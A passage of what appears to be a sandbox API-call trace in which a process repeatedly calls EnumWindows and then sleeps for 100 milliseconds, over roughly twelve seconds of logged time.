lParam=0x610000) [0139.012] Sleep (dwMilliseconds=0x64) [0139.020] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.021] Sleep (dwMilliseconds=0x64) [0139.043] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.043] Sleep (dwMilliseconds=0x64) [0139.050] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.056] Sleep (dwMilliseconds=0x64) [0139.077] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.078] Sleep (dwMilliseconds=0x64) [0139.081] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.082] Sleep (dwMilliseconds=0x64) [0139.106] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.107] Sleep (dwMilliseconds=0x64) [0139.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.115] Sleep (dwMilliseconds=0x64) [0139.187] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.188] Sleep (dwMilliseconds=0x64) [0139.239] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.239] Sleep (dwMilliseconds=0x64) [0139.278] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.278] Sleep (dwMilliseconds=0x64) [0139.291] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.292] Sleep (dwMilliseconds=0x64) [0139.315] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.316] Sleep (dwMilliseconds=0x64) [0139.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.332] Sleep (dwMilliseconds=0x64) [0139.351] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.351] Sleep (dwMilliseconds=0x64) [0139.380] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.381] Sleep (dwMilliseconds=0x64) [0139.412] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.413] Sleep (dwMilliseconds=0x64) [0139.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.551] Sleep (dwMilliseconds=0x64) [0139.620] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.621] Sleep (dwMilliseconds=0x64) [0139.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.645] Sleep (dwMilliseconds=0x64) [0139.673] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.673] Sleep (dwMilliseconds=0x64) [0139.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.691] Sleep (dwMilliseconds=0x64) [0139.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.769] Sleep (dwMilliseconds=0x64) [0139.822] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.822] Sleep (dwMilliseconds=0x64) [0139.850] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.850] Sleep (dwMilliseconds=0x64) [0139.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.863] Sleep (dwMilliseconds=0x64) [0139.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.879] Sleep (dwMilliseconds=0x64) [0139.906] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.907] Sleep (dwMilliseconds=0x64) [0139.932] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.933] Sleep (dwMilliseconds=0x64) [0139.998] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0139.998] Sleep (dwMilliseconds=0x64) [0140.057] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.057] Sleep (dwMilliseconds=0x64) [0140.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.066] Sleep (dwMilliseconds=0x64) [0140.089] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.089] Sleep (dwMilliseconds=0x64) [0140.115] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.115] Sleep (dwMilliseconds=0x64) [0140.142] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.142] Sleep (dwMilliseconds=0x64) [0140.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.160] Sleep (dwMilliseconds=0x64) [0140.219] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.219] Sleep (dwMilliseconds=0x64) [0140.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.285] Sleep (dwMilliseconds=0x64) [0140.303] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.304] Sleep (dwMilliseconds=0x64) [0140.333] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.333] Sleep (dwMilliseconds=0x64) [0140.368] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.368] Sleep (dwMilliseconds=0x64) [0140.413] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.414] Sleep (dwMilliseconds=0x64) [0140.556] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.556] Sleep (dwMilliseconds=0x64) [0140.621] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.622] Sleep (dwMilliseconds=0x64) [0140.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.629] Sleep (dwMilliseconds=0x64) [0140.649] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.650] Sleep (dwMilliseconds=0x64) [0140.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.676] Sleep (dwMilliseconds=0x64) [0140.739] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.739] Sleep (dwMilliseconds=0x64) [0140.815] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.816] Sleep (dwMilliseconds=0x64) [0140.849] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.849] Sleep (dwMilliseconds=0x64) [0140.882] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.882] Sleep (dwMilliseconds=0x64) [0140.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.894] Sleep (dwMilliseconds=0x64) [0140.915] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.916] Sleep (dwMilliseconds=0x64) [0140.989] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0140.990] Sleep (dwMilliseconds=0x64) [0141.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.036] Sleep (dwMilliseconds=0x64) [0141.078] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.079] Sleep (dwMilliseconds=0x64) [0141.112] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.112] Sleep (dwMilliseconds=0x64) [0141.145] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.145] Sleep (dwMilliseconds=0x64) [0141.159] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.160] Sleep (dwMilliseconds=0x64) [0141.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.223] Sleep (dwMilliseconds=0x64) [0141.285] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.285] Sleep (dwMilliseconds=0x64) [0141.334] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.334] Sleep (dwMilliseconds=0x64) [0141.375] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.375] Sleep (dwMilliseconds=0x64) [0141.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.410] Sleep (dwMilliseconds=0x64) [0141.521] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.522] Sleep (dwMilliseconds=0x64) [0141.569] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.569] Sleep (dwMilliseconds=0x64) [0141.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.691] Sleep (dwMilliseconds=0x64) [0141.731] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.731] Sleep (dwMilliseconds=0x64) [0141.753] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.754] Sleep (dwMilliseconds=0x64) [0141.772] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.772] Sleep (dwMilliseconds=0x64) [0141.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.801] Sleep (dwMilliseconds=0x64) [0141.842] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0141.843] Sleep (dwMilliseconds=0x64) [0142.016] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.017] Sleep (dwMilliseconds=0x64) [0142.097] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.098] Sleep (dwMilliseconds=0x64) [0142.138] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.139] Sleep (dwMilliseconds=0x64) [0142.187] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.187] Sleep (dwMilliseconds=0x64) [0142.229] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.230] Sleep (dwMilliseconds=0x64) [0142.308] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.308] Sleep (dwMilliseconds=0x64) [0142.330] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.330] Sleep (dwMilliseconds=0x64) [0142.367] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.368] Sleep (dwMilliseconds=0x64) [0142.410] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.411] Sleep (dwMilliseconds=0x64) [0142.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.458] Sleep (dwMilliseconds=0x64) [0142.579] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.580] Sleep (dwMilliseconds=0x64) [0142.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.645] Sleep (dwMilliseconds=0x64) [0142.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.660] Sleep (dwMilliseconds=0x64) [0142.686] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.686] Sleep (dwMilliseconds=0x64) [0142.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.707] Sleep (dwMilliseconds=0x64) [0142.757] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.757] Sleep (dwMilliseconds=0x64) [0142.800] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.801] Sleep (dwMilliseconds=0x64) [0142.857] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.857] Sleep (dwMilliseconds=0x64) [0142.937] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.938] Sleep (dwMilliseconds=0x64) [0142.942] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.942] Sleep (dwMilliseconds=0x64) [0142.984] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0142.985] Sleep (dwMilliseconds=0x64) [0143.023] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.024] Sleep (dwMilliseconds=0x64) [0143.069] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.069] Sleep (dwMilliseconds=0x64) [0143.114] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.115] Sleep (dwMilliseconds=0x64) [0143.209] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.209] Sleep (dwMilliseconds=0x64) [0143.256] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.257] Sleep (dwMilliseconds=0x64) [0143.299] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.302] Sleep (dwMilliseconds=0x64) [0143.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.441] Sleep (dwMilliseconds=0x64) [0143.570] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.570] Sleep (dwMilliseconds=0x64) [0143.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.614] Sleep (dwMilliseconds=0x64) [0143.657] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.657] Sleep (dwMilliseconds=0x64) [0143.693] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.694] Sleep (dwMilliseconds=0x64) [0143.746] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.746] Sleep (dwMilliseconds=0x64) [0143.815] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.815] Sleep (dwMilliseconds=0x64) [0143.849] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.850] Sleep (dwMilliseconds=0x64) [0143.886] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.887] Sleep (dwMilliseconds=0x64) [0143.922] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.922] Sleep (dwMilliseconds=0x64) [0143.997] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0143.997] Sleep (dwMilliseconds=0x64) [0144.073] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.074] Sleep (dwMilliseconds=0x64) [0144.117] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.118] Sleep (dwMilliseconds=0x64) [0144.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.160] Sleep (dwMilliseconds=0x64) [0144.208] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.209] Sleep (dwMilliseconds=0x64) [0144.297] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.297] Sleep (dwMilliseconds=0x64) [0144.333] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.333] Sleep (dwMilliseconds=0x64) [0144.383] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.384] Sleep (dwMilliseconds=0x64) [0144.429] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.430] Sleep (dwMilliseconds=0x64) [0144.476] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.476] Sleep (dwMilliseconds=0x64) [0144.670] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.671] Sleep (dwMilliseconds=0x64) [0144.728] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.729] Sleep (dwMilliseconds=0x64) [0144.784] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.785] Sleep (dwMilliseconds=0x64) [0144.832] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.833] Sleep (dwMilliseconds=0x64) [0144.880] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.881] Sleep (dwMilliseconds=0x64) [0144.923] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.924] Sleep (dwMilliseconds=0x64) [0144.943] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.943] Sleep (dwMilliseconds=0x64) [0144.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.957] Sleep (dwMilliseconds=0x64) [0144.982] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0144.982] Sleep (dwMilliseconds=0x64) [0145.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.004] Sleep (dwMilliseconds=0x64) [0145.025] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.025] Sleep (dwMilliseconds=0x64) [0145.086] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.087] Sleep (dwMilliseconds=0x64) [0145.126] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.126] Sleep (dwMilliseconds=0x64) [0145.153] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.154] Sleep (dwMilliseconds=0x64) [0145.182] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.183] Sleep (dwMilliseconds=0x64) [0145.210] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.211] Sleep (dwMilliseconds=0x64) [0145.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.223] Sleep (dwMilliseconds=0x64) [0145.256] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.257] Sleep (dwMilliseconds=0x64) [0145.294] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.294] Sleep (dwMilliseconds=0x64) [0145.329] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.330] Sleep (dwMilliseconds=0x64) [0145.365] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.365] Sleep (dwMilliseconds=0x64) [0145.414] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.414] Sleep (dwMilliseconds=0x64) [0145.458] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.458] Sleep (dwMilliseconds=0x64) [0145.551] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.551] Sleep (dwMilliseconds=0x64) [0145.594] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.594] Sleep (dwMilliseconds=0x64) [0145.609] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.609] Sleep (dwMilliseconds=0x64) [0145.645] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.645] Sleep (dwMilliseconds=0x64) [0145.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.738] Sleep (dwMilliseconds=0x64) [0145.777] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.778] Sleep (dwMilliseconds=0x64) [0145.861] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.861] Sleep (dwMilliseconds=0x64) [0145.896] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.897] Sleep (dwMilliseconds=0x64) [0145.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.941] Sleep (dwMilliseconds=0x64) [0145.981] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0145.981] Sleep (dwMilliseconds=0x64) [0146.017] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.017] Sleep (dwMilliseconds=0x64) [0146.085] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.085] Sleep (dwMilliseconds=0x64) [0146.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.129] Sleep (dwMilliseconds=0x64) [0146.174] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.182] Sleep (dwMilliseconds=0x64) [0146.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.223] Sleep (dwMilliseconds=0x64) [0146.255] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.256] Sleep (dwMilliseconds=0x64) [0146.292] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.292] Sleep (dwMilliseconds=0x64) [0146.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.332] Sleep (dwMilliseconds=0x64) [0146.372] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.372] Sleep (dwMilliseconds=0x64) [0146.412] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.412] Sleep (dwMilliseconds=0x64) [0146.428] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.428] Sleep (dwMilliseconds=0x64) [0146.578] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.579] Sleep (dwMilliseconds=0x64) [0146.968] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.968] Sleep (dwMilliseconds=0x64) [0146.990] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0146.990] Sleep (dwMilliseconds=0x64) [0147.037] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.037] Sleep (dwMilliseconds=0x64) [0147.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.082] Sleep (dwMilliseconds=0x64) [0147.166] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.167] Sleep (dwMilliseconds=0x64) [0147.290] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.291] Sleep (dwMilliseconds=0x64) [0147.364] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.364] Sleep (dwMilliseconds=0x64) [0147.418] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.419] Sleep (dwMilliseconds=0x64) [0147.439] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.439] Sleep (dwMilliseconds=0x64) [0147.474] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.474] Sleep (dwMilliseconds=0x64) [0147.528] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.528] Sleep (dwMilliseconds=0x64) [0147.577] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.582] Sleep (dwMilliseconds=0x64) [0147.617] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.617] Sleep (dwMilliseconds=0x64) [0147.662] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.662] Sleep (dwMilliseconds=0x64) [0147.693] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.693] Sleep (dwMilliseconds=0x64) [0147.706] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.707] Sleep (dwMilliseconds=0x64) [0147.760] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.760] Sleep (dwMilliseconds=0x64) [0147.888] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.889] Sleep (dwMilliseconds=0x64) [0147.911] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.912] Sleep (dwMilliseconds=0x64) [0147.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.925] Sleep (dwMilliseconds=0x64) [0147.954] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.954] Sleep (dwMilliseconds=0x64) [0147.972] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.972] Sleep (dwMilliseconds=0x64) [0147.998] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0147.998] Sleep (dwMilliseconds=0x64) [0148.053] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.053] Sleep (dwMilliseconds=0x64) [0148.109] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.110] Sleep (dwMilliseconds=0x64) [0148.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.175] Sleep (dwMilliseconds=0x64) [0148.204] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.204] Sleep (dwMilliseconds=0x64) [0148.222] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.222] Sleep (dwMilliseconds=0x64) [0148.271] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.271] Sleep (dwMilliseconds=0x64) [0148.318] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.318] Sleep (dwMilliseconds=0x64) [0148.331] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.332] Sleep (dwMilliseconds=0x64) [0148.361] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.362] Sleep (dwMilliseconds=0x64) [0148.378] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.379] Sleep (dwMilliseconds=0x64) [0148.404] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.405] Sleep (dwMilliseconds=0x64) [0148.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.426] Sleep (dwMilliseconds=0x64) [0148.482] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.483] Sleep (dwMilliseconds=0x64) [0148.531] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.532] Sleep (dwMilliseconds=0x64) [0148.550] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.550] Sleep (dwMilliseconds=0x64) [0148.589] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.589] Sleep (dwMilliseconds=0x64) [0148.630] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.631] Sleep (dwMilliseconds=0x64) [0148.697] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.698] Sleep (dwMilliseconds=0x64) [0148.878] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0148.879] Sleep (dwMilliseconds=0x64) [0149.010] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.010] Sleep (dwMilliseconds=0x64) [0149.146] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.146] Sleep (dwMilliseconds=0x64) [0149.267] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.267] Sleep (dwMilliseconds=0x64) [0149.373] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.373] Sleep (dwMilliseconds=0x64) [0149.423] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.424] Sleep (dwMilliseconds=0x64) [0149.485] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.486] Sleep (dwMilliseconds=0x64) [0149.568] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.569] Sleep (dwMilliseconds=0x64) [0149.661] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.662] Sleep (dwMilliseconds=0x64) [0149.703] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0149.704] Sleep (dwMilliseconds=0x64) [0150.031] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.031] Sleep (dwMilliseconds=0x64) [0150.046] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.047] Sleep (dwMilliseconds=0x64) [0150.159] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.160] Sleep (dwMilliseconds=0x64) [0150.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.207] Sleep (dwMilliseconds=0x64) [0150.257] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.258] Sleep (dwMilliseconds=0x64) [0150.280] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.280] Sleep (dwMilliseconds=0x64) [0150.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.379] Sleep (dwMilliseconds=0x64) [0150.450] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.451] Sleep (dwMilliseconds=0x64) [0150.674] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.674] Sleep (dwMilliseconds=0x64) [0150.756] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.757] Sleep (dwMilliseconds=0x64) [0150.808] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.809] Sleep (dwMilliseconds=0x64) [0150.856] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.856] Sleep (dwMilliseconds=0x64) [0150.901] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0150.901] Sleep (dwMilliseconds=0x64) [0151.001] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.001] Sleep (dwMilliseconds=0x64) [0151.099] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.100] Sleep (dwMilliseconds=0x64) [0151.185] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.186] Sleep (dwMilliseconds=0x64) [0151.283] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.283] Sleep (dwMilliseconds=0x64) [0151.342] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.343] Sleep (dwMilliseconds=0x64) [0151.432] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.432] Sleep (dwMilliseconds=0x64) [0151.521] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0151.521] Sleep 